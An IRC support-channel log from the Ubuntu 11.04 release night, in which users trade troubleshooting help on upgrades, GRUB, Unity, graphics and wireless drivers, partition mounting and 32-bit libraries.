[22:43] <thanos> DBus error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[22:43] <claw> <claw> after updating to natty i cant install broadcom wlan driver : jockey.log http://tinyurl.com/6bvscku
[22:44] <mknarr> Guest78840, GL
[22:44] <jdahm> escott: so heres something.  When I do "apt-get install grub2" it wants to remove some grub packages and install "grub2"
[22:44] <ratcheer> AmuletOfNight: No, just update aptitude and safe-upgrade
[22:44] <Sexygurl2furl> jiohdi, ^
[22:44] <jiohdi> Sexygurl2furl: as long as whatever you are looking at can run those things you are golden
[22:44] <jdahm> escott: are you sure it by default has grub2??
[22:44] <Galvatron> AmuletOfNight: If you have all the latest updates you already have the final release
[22:44] <Sexygurl2furl> so i shouldnt upgrade?
[22:44] <Sexygurl2furl> :X
[22:44] <escott> jdahm, the old grub is now called grub-pc or grub-legacy
[22:44] <jiohdi> Sexygurl2furl: if you are not sure and what you have now works... give it a couple of months to let them get the bugs out
[22:44] <jdahm> escott: ok I have grub-install (GRUB) 1.99~rc1-13ubuntu3
[22:45] <Sexygurl2furl> ah
[22:45] <hoodoos> guys, anybody heard anything bad/good about hopone.net DC?
[22:45] <AmuletOfNight> Okay, thanks. Is there a way to check for a "beta" label in the OS somewhere to see if I'm still marked as beta?
[22:45] <escott> jdahm, ie grub2
[22:45] <thanos> escott, DBus error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[22:45] <jdahm> escott: yep.  Ok back to debugging this.  everything is mounted and I'm chroot'd
[22:45] <usr13> Sexygurl2furl: It's kind of like the difference between bleeding edge and cutting edge.
[22:45] <zvacet> Sexygurl2furl: witch version do you run
[22:46] <Sexygurl2furl> i dont know
[22:46] <Sexygurl2furl> how do i check
[22:46] <Sexygurl2furl> ??
[22:46] <usr13> Sexygurl2furl: lsb_release -a
[22:46] <zvacet> in terminal   lsb_release -a
[22:46] <alecbenzer> usr13: apt-get update is still giving me the error
[22:46] <escott> thanos, huh? how did you get that from a terminal command, open a terminal and type: sudo mkdir /mnt/ext4; sudo mount /dev/sda1 /mnt/ext4;
[22:46] <zatan> hi, how can I change my username on natty?
[22:47] <Galvatron> AmuletOfNight: As I said, get all the latest updates and you are no longer beta. I'm personally using a beta install CD for my 10.10 and just update the stuff to the actual version. That's all.
[22:47] <escott> thanos, adjust sda1 if the name is something else
[22:47] <mknarr> Guest78840, here man check out this link
[22:47] <mknarr> http://ubuntuforums.org/showthread.php?t=222050
[22:47] <ohsix> zatan: the login or the long name?
[22:47] <usr13> alecbenzer: Did you try what was described in the above article?
[22:47] <escott> zatan, ehhh usually just create a new user with the desired name and move files
[22:47] <mello> is there a way to reset all gnome settings? I accidently did something wrong (disabled too many compiz effects) and now unity wont start
[22:47] <claw>  after updating to natty i cant install broadcom wlan driver : jockey.log http://tinyurl.com/6bvscku
[22:47] <escott> zatan, you could try just renaming your $HOME after creating a user but it could get messy
[22:47] <thanos> escott, sudo mkdir /mnt/ext4 i do only this and appears this in a window
[22:48] <zatan> ohsix,  antanas@ubu I need to change "antanas"
[22:48] <ohsix> zatan: the user editor lets you change the long name; changing your usernameis harder but not impossible, you move your home dir to the new name, change passwd, shadow, group; then use find to find files owned by the old uid and set them to the new one
[22:48] <abys> Hello all :)
[22:48] <coz_> mello,   well if it was compiz that made this happen  open ccsm  go to Preferences and  hit the "Reset to defaults"  button
[22:48] <alecbenzer> usr13: yes, after moving around the status files apt-get update is still giving me the error
[22:48] <thanos> http://paste.ubuntu.com/600469/
[22:48] <mello> coz_ unity won't start.
[22:49] <ohsix> zatan: you can also add the new name with useradd & leave the home d ir as is, then change permissions
[22:49] <ohsix> zatan: there are lots of ways to do it
[22:49] <typhoon> mello: try changing your session to gnome and setting the defaults in ccsm from there
[22:49] <abys> Looking for some support on 10.10 11.04 upgrade -> 2011-04-28 22:17:13,336 ERROR NvidiaDetection returned a error: __init__() got an unexpected keyword argument 'datadir'
[22:49] <escott> thanos, why are you sending me fdisk output?
[22:49] <coz_> mello,   oh!!
[22:49] <mrdudeiii> quit
[22:49] <Devaronian> Hey nvidia error, got myself a load of those too
[22:49] <coz_> mello,   are you in classic gnome desktop?
[22:49] <mello> typhoon: thanks
[22:49] <usr13> alecbenzer: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/346386
[22:49] <ubottu> Ubuntu bug 346386 in apt (Ubuntu) "Updater won't run - "Encountered a section with no Package: header"" [Undecided,Confirmed]
[22:50] <mello> coz_ no xfce. I installed both xfce and gnome shell
[22:50] <abys> did you find a work arround mate?
[22:50] <quellhorst> how can in install 11.04 onto a linux software raid?
[22:50] <coz_> mello,  maybe you disabled the  ubuntu unity plugin in ccsm ??
[22:50] <zatan> ohsix,  ok I will try to add new user , and change home dir permissions
[22:50] <quellhorst> its a brand new install
[22:50] <mello> coz_ yes probably. compositing didn't work with my graphics driver (ATI), so i accidently disabled it
[22:50] <coz_> mello,  oh!!!!  gnome shell??
[22:50] <ohsix> zatan: it might be a great idea to back things up until you are sureyou got it right
[22:50] <coz_> mello,   gnome shell will break Unity
[22:51] <thanos> just to show you my disks
[22:51] <mello> coz_ hmm.. fair point. It rather seems that unity breaks gnome shell
[22:51] <mello> lmao
[22:51] <mello> coz_ give me 5 minutes
[22:51] <thanos> escott, ok what can i do?
[22:51] <fatbrain_t> nice work with 11.04, When I first started 11.04 I got an error saying Unity didn't work, and fallback to gnome. I've since then installed graphics drivers etc, and now when I reboot I get gnome all the time. Is there something I have to do to force it to use Unity again?
[22:52] <ismaell> hello
[22:52] <thanos> escott, i dont know alot
[22:52] <gooorsd> any of you guys have trouble with networking in natty
[22:52] <zatan> tahnks ohsix
[22:52] <zvacet> fatbrain_t: on login screen under session select ubuntu
[22:52] <escott> thanos, evidently what happens when you do sudo mount /dev/sda1 /mnt/ext4
[22:52] <gooorsd> i cant get wiredlan unless i disconnect my wire from the router and reconnect it
[22:53] <gooorsd> worked perfect in 10.10
[22:53] <fatbrain_t> zvacet: I am using "Ubuntu" as my session, but it gives me gnome anyway... Maybe I have somethign wrong wtih my graphics driver (sorry bad spelling)
[22:53] <zvacet> fatbrain_t; is it ubuntu or ubuntu classic
[22:53] <thanos> escott, nothing write
[22:54] <fatbrain_t> zvacet: ubuntu.
[22:54] <ismaell> a friend of mine upgraded to natty, and the system is (quietly) crashing at startup... (I suspect about the wifi driver, because it's brcm80211), anyone knows?
[22:54] <rcmaehl> WTF is this
[22:54] <rcmaehl> 11.04 is wth
[22:54] <laumonier>  http://paste.ubuntu.com/600454/ ive got that problem when i try to upgrade to natty what should i do???
[22:54] <fatbrain_t> zvacet: iirc, there was some command I could type to see if glx or something was enabled... I'll google and see if I can figure it out :) thanks for input.
[22:54] <zvacet> fatbrain_t:  that should give you unity sorry can not help it is first day I use it
[22:54] <xinel> can't boot into ubuntu after alternative 11.04 install, hangs after grub, any ideas?
[22:54] <escott> thanos, please mount | pastebinit
[22:54] <fatbrain_t> zvacet: no problem. Thanks.
[22:55] <zombie__> xinel what kind of computer you got man?
[22:55] <Samsagax> hi, i have some problems isntallin an i386 program ona 64bit ubuntu
[22:55] <thanos> escott, http://paste.ubuntu.com/600472/
[22:55] <rcmaehl> WTH I can't use the windows key for shortcuts
[22:55] <gooorsd> its so weird that stuff that worked perfect in a previous version suddenly stops working
[22:55] <sfdsafdsafdsa> hi will the next relase of arch linux be like arch vista ?
[22:55] <zvacet> fatbrain_t:  give me a sec
[22:56] <gooorsd> sfdsafdsafdsa: realease of arch?
[22:56] <abys> Anyone with nvidia error while calculating the changes?
[22:56] <typhoon> rcmaehl: you can, just configure compiz
[22:56] <xinel> just bits and pieces i put together, is there a problem with certain hardware atm?
[22:56] <rcmaehl> typhoon: I have
[22:56] <jdahm> escott: wait the CURRENT grub seems to be grub-pc, right?
[22:56] <escott> thanos its mounted fine, /dev/sda1 on / type ext4 (rw,errors=remount-ro,commit=0) /dev/sda3 on /media/22c795f0-2bb4-4730-9f46-bd422497a4be type btrfs (rw,nosuid,nodev,uhelper=udisks)
[22:56] <alecbenzer> usr13: seems hopeful. rm-ing the list files from /var/lib/apt/lists and then apt-get update seems to fix it for that list, but lots of lists seem to have issues. running through all of them...
[22:56] <Samsagax> anyone knows how to get i386 libs to work in a 64bit?
[22:56] <escott> jdahm, no grub 1 is grub-pc
[22:56] <xman> hola
[22:56] <IsmAvatar> laumonier: I had that problem. Follow what it says. Turns out I had an unofficial software source that I had to remove before upgrading.
[22:56] <xman> hola
[22:56] <xman> hola
[22:56] <typhoon> rcmaehl: can you be a bit more specific then? what are you trying to achieve?
[22:56] <jdahm> escott: what is grub2 then?  I want to reinstall it
[22:56] <sureshg> hi
[22:56] <zvacet> fatbrain_t:  in terminal  fglrxinfo
[22:56] <xinel> might download and try desktop install, wandering if its a problem with encryption :/
[22:57] <xinel> wondering
[22:57] <thanos> escott, i want the files from sda3 and sda6
[22:57] <Galvatron> sfdsafdsafdsa: How are we supposed to know? Ask in the Arch channel, If you don't think this question is kinda weird.
[22:57] <fatbrain_t> zvacet: I think that's for ATI users only.
[22:57] <undead> hi everybody
[22:57] <rcmaehl> Taskbar at the bottom, window buttons or the right, use of windows key for shortcuts
[22:57] <escott> jdahm, sorry im wrong
[22:57] <rcmaehl> emerald for window decorator
[22:57] <escott> jdahm, grub-pc is grub2 and the old grub1 is grub
[22:57] <zvacet> fatbrain_t:  yes and you are using nvidia?
[22:57] <escott> thanos, well sda3 is mounted on /media/22c...
[22:58] <fatbrain_t> zvacet: think I have intel mobile gpu
[22:58] <escott> thanos, for sda6 you just need to define your mountpoint and mountit
[22:58] <thanos> escott,how
[22:58] <Soothsayer> ok
[22:58] <zvacet> fatbrain_t:    glxinfo
[22:58] <Soothsayer> i booted into Ubuntu 11.04 and I don't get an upgrade option
[22:59] <Soothsayer> it only allows me to install it alongside 10.10
[22:59] <nadien> hi, where is the menu bar in new firefox?
[22:59] <escott> thanos, with sudo mount /dev/sda6 /mnt/mountpoint-of-your-choosing
[22:59] <thanos> escott, i mount it before and doesnt open
[22:59] <phoenixsampras> well, im impressed
[22:59] <phoenixsampras> Ubuntu 11.04
[22:59] <cassio> hi. how can i change the workspace grid from a 2x2 to the old 1x4 grid?
[22:59] <escott> thanos, are you expecting a window to just pop-up
[23:00] <ivo__> hi
[23:00] <escott> cassio, should be accessible in ccsm
[23:00] <cassio> escott, i can't seem to find it
[23:00] <typhoon> rcmaehl, you are going to have to read the manual I'm afraid. You can start by maybe using KDE if you want a "start menu" and a taskbar at the bottom. Or you could move the panels around
[23:00] <cassio> escott, Ive looked in expo and desktop wall
[23:00] <celly> tudo bem
[23:00] <jdahm> escott: ok trying again...
[23:00] <rcmaehl> typhoon: you can't use kde on a netbook man, you just can'y
[23:00] <ivo__> i have 2 hard drives, but icant paste files to emty one
[23:00] <rcmaehl> can't*
[23:00] <sfdsafdsafdsa> Today I was trying Natty so ..Do you think Natty 11.04 (Unity) will be the Vista phase of Ubuntu ? I mean Vista as in Windows Vista
[23:00] <Samsagax> cassio: just right click on the switcher > preferences
[23:00] <Galvatron> abys: For nVidia best download the .run file from their website to your homedirectory, then Alt + Ctrl + F1 --> sudo service gdm stop --> sudo sh ./NVIDIA-Linux_x86-270.41.06.run When the installer is sone, just restart X.
[23:00] <leagris> could not get <super>+<button4-5> to zoom-in-out in compiz ezoom while using Unity
[23:01] <rcmaehl> sfdsafdsafdsa: yes
[23:01] <thanos> escott, http://paste.ubuntu.com/600475/
[23:01] <Samsagax> 45
[23:01] <fatbrain_t> zvacet: thanks, I'll try that.
[23:01] <cassio> Samsagax, right click on the switcher doesnt bring up any options in the launcher
[23:01] <undead> how do i can paste date and time in logfile,  example "time >> logfile.log"
[23:01] <Galvatron> abys: To remove it just use "./NVIDIA-Linux_x86-270.41.06.run --uninstall" instead.
[23:01] <zvacet> fatbrain_t:  np
[23:01] <leagris> Unity loaded a huge band of icons to the left but that many and no labels is quite useless
[23:01] <escott> thanos, you need to mkdir that mountpoint first
[23:01] <Samsagax> cassio: U mean in unity? you just can't
[23:01] <zombie__> libreoffice vs open office?
[23:02] <abys> Galvatron this is durring the upgrade i'm still in 10.10
[23:02] <Monotoko> ...does anyone know how to get multiple terminals..?!
[23:02] <Monotoko> in natty
[23:02] <cassio> Samsagax, yes, Im using 11.04. there's no way to change the 2x2 grid to a 1x4?
[23:02] <FreeTheBee> is there any configuration possible besides the stuff in the ccsm unity plugin?
[23:02] <coz_> Monotoko,   keep opening multiple instances ?
[23:02] <FreeTheBee> like the size of the dash
[23:02] <slackin> <3 ;>
[23:02] <joepa> I'm trying to pin an application to the system tray in unity, but when I logout and log back in, the application disappears from the system tray
[23:02] <leagris> missing autoloading of sound modules snd-hda-intel, snd-ac97-codec, snd-pcm. Has to load them manually and restart pulseaudio after login-in
[23:02] <joepa> any ideas what's going wrong?
[23:02] <nadien> firefox menu button is missing on ubuntu natty D:
[23:03] <celly> oi
[23:03] <typhoon> rcmaehl: assuming you have gnome classic?
[23:03] <zombie__> R click check "keep in launcher"
[23:03] <coz_> Monotoko,  I am on natty now with 4 terminals opened... just open a new one and another instance will show up
[23:03] <leagris> gnome-volume-control crash whenever I engage a speaker test
[23:03] <rcmaehl> typhoon: idk unity just crashed and I can't reload it
[23:03] <Samsagax> cassio: I'm using natty too, got another problem with i386 programs, but in Gnome (Classic ubuntu) you can change the 2x2 to 1x4 grid
[23:03] <escott> zombie__, libreoffice open office is dead
[23:03] <mfilipe> anyone knows how I find out if my ssd supports TRIM?
[23:04] <zookalicious> nadien: http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[23:04] <rcmaehl> typhoon: the upgrade screwed up my shortcuts
[23:04] <Leprikonas> to open multiple terminals click the terminal icon with the middle mouse button
[23:04] <Samsagax> cassio: my advice: don't use unity
[23:04] <zookalicious> nadien: scroll to the section about the firefox menu button
[23:04] <cassio> Samsagax, yup, I know in the old version it worked. strange you can't change it in unity
[23:04] <Galvatron> abys: It will be fastest to just download the 11.04 .iso
[23:04] <coz_> Leprikonas, ah I completely forgot about middle click :)
[23:04] <cassio> Samsagax, I like the screen space gain in unity. but it seems to be a little crippled as of yet
[23:04] <leagris> compiz ezoom mouse tracking default to an insane 40ms giving sloppy zoom mouvments
[23:04] <phoenixsampras> can i UPGRADE using the ISO? im on 10.10
[23:04] <Samsagax> cassio: in unity you can't change almost nothing
[23:04] <typhoon> rcmaehl: Your day is getting better and better lol. I would roll back to 10.04. I'm not upgrading for a while yet because unity is *cough* unstable :-)
[23:04] <leagris> compiz ezoom default to no zoom shortcuts
[23:05] <jibadeeha> cassio, http://lxer.com/module/newswire/ext_link.php?rid=150768
[23:05] <Samsagax> cassio: but is just my oppinion
[23:05] <ChronicSyncope> oh man the upgrade is going so slow.  Is it just because everyone is connected?
[23:05] <Galvatron> abys:Installing it from a scratch will be 2-3x faster.
[23:05] <abys> Galvatron: snif, I was wishing to not reinstall from scratch!! :'(
[23:05] <stefg> !clone
[23:05] <ubottu> To replicate your packages selection on another machine (or restore it if re-installing), you can type « aptitude  --display-format '%p' search '?installed!?automatic' > ~/my-packages », move the file "my-packages" to the other machine, and there type « sudo xargs aptitude --schedule-only install < my-packages ; sudo aptitude install » - See also !automate
[23:05] <abys> Galvatron: All my programs and configs for couple of years :p
[23:06] <zvacet> phoenixsampras: use alternate cd iso and you will can
[23:06] <abys> Galvatron backing up my banshee musicdatabase and all applications will be a pain
[23:06] <nadien> zookalicious, how to enter addons mannager without the menu button?
[23:07] <aguitel> how remove all gnome stuff in natty?
[23:07] <Galvatron> abys: Do you have just one partition for system and /home + data?
[23:07] <zookalicious> nadien: it will be in the panel if you are using Unity
[23:07] <zvacet> abys: if you use above command you will have to install all packages again
[23:07] <abys> Galvatron yep
[23:07] <ivo__> hel please
[23:08] <leagris> I'll give Debian testing a try tomorrow, too much problems with Natty
[23:08] <zvacet> abys: make separate home
[23:08] <ivo__> help
[23:08] <Samsagax> Need some help: can't install a i386 application on my 64bit ubuntu natty
[23:08] <Captainkrtek> I use unity
[23:08] <stefg> !info ia32-libs
[23:08] <ubottu> Package ia32-libs does not exist in natty
[23:08] <nadien> zookalicious, i can see only the tabs, and the page content only
[23:08] <Galvatron> I truly admire yourcourage, trying to install a freash and potentially problematic system on such setup.
[23:08] <jibadeeha> cassio, "Launch CCSM yet again, and select General Options from the category 'General'. Select the tab 'Desktop Size' and choose the values you want. Simple as that."
[23:08] <Samsagax> stefg: got it, but just won't install
[23:08] <sfdsafdsafdsa> Today I was trying Natty so ..Do you think Natty 11.04 (Unity) will be the Vista phase of Ubuntu ? I mean Vista as in Windows Vista
[23:08] <Logan_> !ot | sfdsafdsafdsa
[23:08] <ubottu> sfdsafdsafdsa: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:09] <Galvatron> abys: Do NOT touch Natty unless you make a separate partition for the main system.
[23:09] <stefg> Samsagax: get 'wrong architecture'? use "the force"!
[23:09] <jibadeeha> sfdsafdsafdsa, ubuntu 11.04 is the Win7 stage - Vista indeed
[23:09] <abys> is it hard to migrate the home drive?
[23:09] <cassio> jibadeeha, thanks. that did the trick
[23:09] <jibadeeha> cassio, no worries
[23:10] <ninjai> tricky question: I'm using "ssh user@server.com "ls $MYVARIABLE", where $MYVARIABLE is set in the user profile.  This never works unless I log in instead of issuing only the command at the end.  Why? Is there  a workaround?
[23:10] <claw>  after updating to natty i cant install broadcom wlan driver : jockey.log http://tinyurl.com/6bvscku
[23:10] <zookalicious> nadien: If you are using Unity, then the menu option should be in the panel (the very top of the screen), otherwise I don't know what to tell you.
[23:10] <Samsagax> stefg: done that, it says i need some dependencies, i installed them and got the same message again
[23:10] <Galvatron> abys: No. Download Gparted LiveCD and create an 8192MB ext4 partition. That's all.
[23:10] <nadien> zookalicious, what is unity, im on live cd ubuntu
[23:10] <mleger> hey, is anyone here using Ubuntu 11.04 on Parallels? Can't get Parallels tools to install. Any help will be appreciated!
[23:10] <escott> ninjai, because you aren't getting a login shell
[23:10] <Samsagax> stefg: won't install even with force-all
[23:11] <abys> 8GB for / and rest for /home?
[23:11] <zookalicious> nadien: Unity is the desktop environment that is default in Ubuntu version 11.04
[23:11] <Galvatron> Then, during the installation just choose the manual partation setup and use the 8GB one as "/" mount point", and the second one as "/home" mount point (obviously do NOT mark /home for formatting).
[23:11] <jon_athon> how do I change the startup sound?
[23:11] <phoenixsampras> zvacet: what alternative ISO? i have the 11.04 ISO, but i just want to upgrade
[23:12] <aguitel> how remove all gnome stuff in natty?
[23:12] <nadien> zookalicious, f**k, now ubuntu is like mac os x
[23:12] <abys> would be great and easy if I had space available on my HD :/
[23:12] <Samsagax> aguitel: you shouldn't if you use unity
[23:12] <abys> have to make space no choice
[23:12] <skulltip> no, mac is like linux
[23:12] <escott> ninjafish, man ssh | grep login  If command is specified, it is executed on the remote host instead of a login shell.
[23:13] <coz_> aguitel,   what is it you dont want specifically?
[23:13] <aguitel> Samsagax, i will install gnome-core
[23:13] <zookalicious> nadien: Unity is the default desktop environment, however if you do not like it, select Ubuntu Classic Desktop at the login screen
[23:13] <typhoon> no unity is like mac
[23:13] <typhoon> linux is just the kernel
[23:13] <aguitel> coz_, install gnome-core only
[23:13] <escott> ninjafish, meant for ninjai
[23:13] <nadien> skulltip, but ubuntu ubuntu (graphic interface) copies mac
[23:13] <skulltip> what's wrong with that tyhpoon, there's a reason macs are expensive besides greedy executives
[23:14] <skulltip> and windows 9 copies chrome, then years later buys the patents and tries to stiffle competition
[23:14] <escott> ninjai, instead of ssh "ls $MYVARIABLE" do ssh "/bin/bash --login \"ls $MYVARIABLE\""
[23:14] <rcmaehl_fallback> AHHHHHHHHHHHHHHHHHH! SO many error messages! I thought 11.04 was stable
[23:14] <typhoon> skulltip: I was correcting you, not comparing the 2
[23:14] <Samsagax> no one can help me?
[23:14]  * macs installs ubuntu 11.04 :D
[23:14] <zookalicious> skulltip-  I think he was just picking at the Linux != full OS point
[23:14] <rcmaehl_fallback> macs: no
[23:14] <zvacet> phoenixsampras:  I don´ think you can upgrade with desktop cd maybe something is changes but that is how is use to be
[23:14] <rcmaehl_fallback> macs: run
[23:14] <macs> whai?
[23:14] <skulltip> :) i dont mind great ideas being shared, just dont go patent trolling
[23:14] <coz_> aguitel,  not sure how much left  you will have with just core,,, I dont have a good answer for you,, its likely Unity will break if you do this..however,, you could go to gimpnet server and the #gnome  main channel and ask
[23:14] <phoenixsampras> Why 11.04 is so bugged? How to DOWNGRADE?
[23:15] <escott> phoenixsampras, you cant
[23:15] <zvacet> abys:  read http://www.psychocats.net/ubuntu/separatehome
[23:15] <zookalicious> zvacet-  you can upgrade from CD now
[23:15] <DGM> ubuntu 11 64 bit hangs on installing ubiquity (could not find module nvidia and more of those), clean install.. couldn't find any bugs that completely describe the problem. Any ideas?
[23:15] <zvacet> abys:  or http://www.ubuntugeek.com/how-to-create-a-separate-home-partition-in-ubuntu.html
[23:15] <Samsagax> DGM: your machine?
[23:15] <happyface> DGM, hangs where?
[23:15] <Galvatron> skulltip: Mac is Mac, and it is Linux that copies its features.
[23:15] <abys> cheers man, have a look at it
[23:16] <zookalicious> Galvatron-  All OS' copy other OS'
[23:16] <DGM> happyface: while installing ubiquity it just spams with could not found module and then just hangs
[23:16] <zvacet> phoenixsampras:  reinstall 10.10
[23:16] <skulltip> that being said, i'm still on 10.10
[23:16] <zookalicious> Galvatron-  In different ways. It's healthy competition.
[23:16] <rcmaehl_fallback> ubuntu 11.04, every time you change a compiz setting unity crashes
[23:16] <aguitel> coz_, thispage is usefull but no natty answer till now about my question ,http://www.psychocats.net/ubuntu/purekde
[23:16] <pas> I have install ubuntu 11.04 - new istanlation with cable internet... now don't run the wi-fi
[23:16] <DGM> Samsagax: amd phenom 2 x6 1090T, 4 gb ram, nvidia gtx 295
[23:16] <zvacet> zookalicious: I didn´t see that option during install can you point me to the link
[23:16] <Galvatron> My Ubu 10.10 (GNOME) is modified to be a Win/Mac hybrid.
[23:16] <Samsagax> DGM: then is not an hybrid graphics problem
[23:17] <rcmaehl_fallback> rcmaehl: gtfo
[23:17] <compdoc> I notice in a fresh install of natty, that services like acpid and irqbalance are not set to run. Are these not needed anymore? I intend to use the box as a qemu-KVM server
[23:17] <phoenixsampras> 11.04 looks like a ripped version of MACOSx
[23:17] <zookalicious> zvacet-  one second
[23:17] <DGM> Samsagax: it complains about more modules then just nvidia.. it's almost like it can't find any at all
[23:17] <nb72> Am I the only one who noticed quicken listed on the ubuntu website? Is that now available in the software center?
[23:17] <skulltip> ubuntu is smart for wanting to spread to devices they can profit from, good for them
[23:17] <acicula> !offtopic
[23:17] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:17] <Samsagax> DGM: blacklist nouveau
[23:17] <coz_> phoenixsampras,  i couldnt agree more ,, however  "there it is "  :)
[23:18] <kk9822> hi
[23:18] <skulltip> try gnome-classic on a pad
[23:18] <acicula> compdoc: you mean the kernel services?
[23:18] <DGM> Samsagax: after waiting for ages on the setup i desided to look at why it was stopping.. and it was stuck on that missing module line while installing "ubiquity"
[23:18] <Samsagax> DGM: and check the xorg.conf
[23:18] <kk9822> i just upgraded my ubuntu from 10.1 to 11.04
[23:18] <phoenixsampras> it is like... MACOSX for the poor man
[23:18] <werever> hi!, I just upgraded from ubuntu 10.10 to 11.04, and now my pc cant start...I only see a command line with "grub rescue >"....any ideas how to fix grub? :( :( :(
[23:18] <zvacet> Galvatron : mac is bsd based very originall don´t you think
[23:18] <DGM> Samsagax: i'm still in the setup though... it hasnt even fully installed yet
[23:18] <acicula> phoenixsampras: can you frame that as a support question
[23:18] <skulltip> i'll have to close my mouth until i can upgrade
[23:18] <pas> I have install ubuntu 11.04 - new istanlation with cable internet... now don't run the wi-fi .. how i doing?
[23:18] <kk9822> the screen is blank
[23:18] <entity> just upgraded to 11.04 via update-manager -d. after restart, i get "Ubuntu 10.10 The disk drive for / is not ready yet or not present..." how to fix? :\
[23:18] <kk9822> why
[23:18] <TerryBook> Natty upgrade complete.  so....how do I configure this sidebar thing?
[23:18] <compdoc> acicula, well, I'm using Boot-up manager, and its the services that start at boot
[23:19] <zvacet> zookalicious:ok
[23:19] <Galvatron> phoenixsampras: Unity looks this way because it was designed for tablets and netbooks and it's much different from OSX interface.
[23:19] <fatbrain_t> zvacet: had installed the graphics drivers incorrectly, reinstalled and now Unity works. Cheers!
[23:19] <claw>  after updating to natty i cant install broadcom wlan driver : jockey.log http://tinyurl.com/6bvscku
[23:19] <Samsagax> DGM: ohh.. i think you should install with no drivers and then install the drivers, is safer that way
[23:19] <coz_> phoenixsampras,  there has been a slight leaning towards mac like  look ,, buttons on the left and now global menu.. I am not sure what the long term vision for ubuntu is,, I just know did not get it right  but  there are people who think they did so ,, as I said   "there it is "
[23:19] <zvacet> fatbrain_t: enjoy your ubuntu  :)
[23:19] <stefg> TerryBook: you don't :-) options are considered to be too confusing
[23:19] <Osmodivs> !hardware
[23:19] <ubottu> For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport - To help debugging and improving hardware detection, see https://wiki.ubuntu.com/DebuggingHardwareDetection
[23:19] <typhoon> samsagax: This is linux not windows :-)
[23:19] <Samsagax> DGM: im wondering why the Xorg Propietary drivers testing stopped ad week 3
[23:20] <acicula> compdoc: err im not familiar with boot-up manager. the services you mentioned sound familiar but are you experiencing an actual problem or just wondering why they are not appearing anymore?
[23:20] <Samsagax> typhoon: I know but natty is still not as stable as it should be
[23:20] <Osmodivs> typhoon, Linux uses drivers as well
[23:20] <DGM> Samsagax: but all i did was insert the usb stick, picked what partition it should all go to, and hit install.. and then poof. it even wrecked my grub but i managed to get that back up through a live cd
[23:20] <zookalicious> zvacet-  http://2.bp.blogspot.com/-8KRrr0qlSxU/Tbf-5a1QoiI/AAAAAAAAB_A/YUG-iHhCXa8/s1600/Screenshot-1.png
[23:21] <abys> zvacet crazy idea, what do you think about remapping /home on a USB HD, rezise disk and remap to the new partition? possible or stupid?
[23:21] <typhoon> osmodivs: I know, I still have to hack in some 2d sis drivers for my old laptop. Seems I have had a sense of humour failure or something
[23:21] <reeceb> Hey guys, I'm trying to connect a small board to the internet via a wlan1 connection, but can't get any DHCP offers. ideas?
[23:21] <reeceb> sorry, the small board runs ubuntu.
[23:21] <pas> Broadcom 802.11 Linux STA wireless driver don't run
[23:21] <Samsagax> DGM: strange
[23:22] <Nickftw_> .
[23:23] <typhoon> night guys. Good luck with Natty
[23:23] <Samsagax> DGM: did you check the "format" option in the / mount?
[23:23] <DGM> Samsagax: yep ofc
[23:23] <MishaS> ckserv identify no!way
[23:23] <zookalicious> zvacet: I assume if the disk can't read your current installation for whatever reason then you will not see the option on the screen I sent you.
[23:23] <DGM> Samsagax: i have a /, a 4 gb swap and some ntfs'es for windows
[23:23] <aguitel> coz_, thispage is usefull but no natty answer till now about my question ,http://www.psychocats.net/ubuntu/purekde
[23:24] <tomekh> hi. i have just installed xubuntu 11.04. is there a way to apt-get only libreoffice writer and calc? (yeah, i'd like to have an minimal libreoffice installation in my xubuntu environment)
[23:24] <nb72> Can anybody confirm that quicken is now available in the software center?
[23:24] <Samsagax> DGM: just as me, i don't know what is happening to you. Try to install again witout networ
[23:24] <zvacet> zookalicious: maybe because it is multiboot
[23:24] <ismaell> BEWARE, broken brcm80211 *confirmed*
[23:24] <mickster04> tomekh: try tab complete and see if it shows you?
[23:24] <mickster04> !tab | tomekh
[23:24] <ubottu> tomekh: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.
[23:25] <DGM> Samsagax: funny thing is, when i look through bug reports, they say its either fixed last month, or say they're a duplicate of a bug that looks nothing like what is described xD
[23:25] <zookalicious> zvacet: that would be likely.
[23:25] <Samsagax> anyone can help me about i386 apps in amd64 architecture
[23:25] <Samsagax> ?
[23:25] <ismaell> farewell!
[23:25] <zookalicious> zvacet-  I haven't touched a 11.04 CD yet so I wouldn't know
[23:25] <zvacet> abys: Idon´t know I never did it
[23:25] <tomekh> mickster04: ?
[23:25] <DGM> Samsagax: you could set up a 32 chroot, that worked fine for me :)
[23:25] <Samsagax> DGM: as i've said, natty is not as stable as it should be
[23:25] <abys> sound like challenge :)
[23:25] <DGM> bit*
[23:25] <zvacet> zookalicious: so it works if you have only ubuntu?
[23:26] <Samsagax> DGM: tried that... didn't work
[23:26] <TerryBook> stefg:  options are a requirement for me to use something.  lack of options = stress, annoyance, irritation, and frustration :P
[23:26] <zookalicious> zvacet-  I'm not sure, I haven't tried it, but I could see that being a problem.
[23:26] <DGM> Samsagax: ye, disappointing :) oh well. I guess i'll use windows for a while hehe
[23:26] <Samsagax> DGM: use maverick, it is good as it should be
[23:26] <DGM> Samsagax: missing lib or something? What's the error it gives?
[23:27] <zvacet> zookalicious : possibly because I saw about that option on net but I didn´t so it during install
[23:27] <wazzup> is it possible to install ubuntu on a usb stick ???
[23:27] <d3vlin> the natty installer had a very nice fullscreen plymouth ubuntu boot/quit logo.. but after install at boot only a purple rectangle and at shutdown the ubuntu logo in low res. How can I fix this?
[23:27] <mickster04> tomekh: when you tyoe in sudo apt-get install op<tab> and it will show you a list of options
[23:27] <Samsagax> DGM: gives an error about missing dependencies, i have the dependencies installed, but it just keeps telling me that i dont
[23:27] <zvacet> wazzup.yes
[23:27] <DGM> wazzup: from or on?
[23:27] <habriel> how are you all someone have any course from nagios can than help me please
[23:27] <wazzup> on
[23:27] <tomekh> mickster04: nope, it will not :)
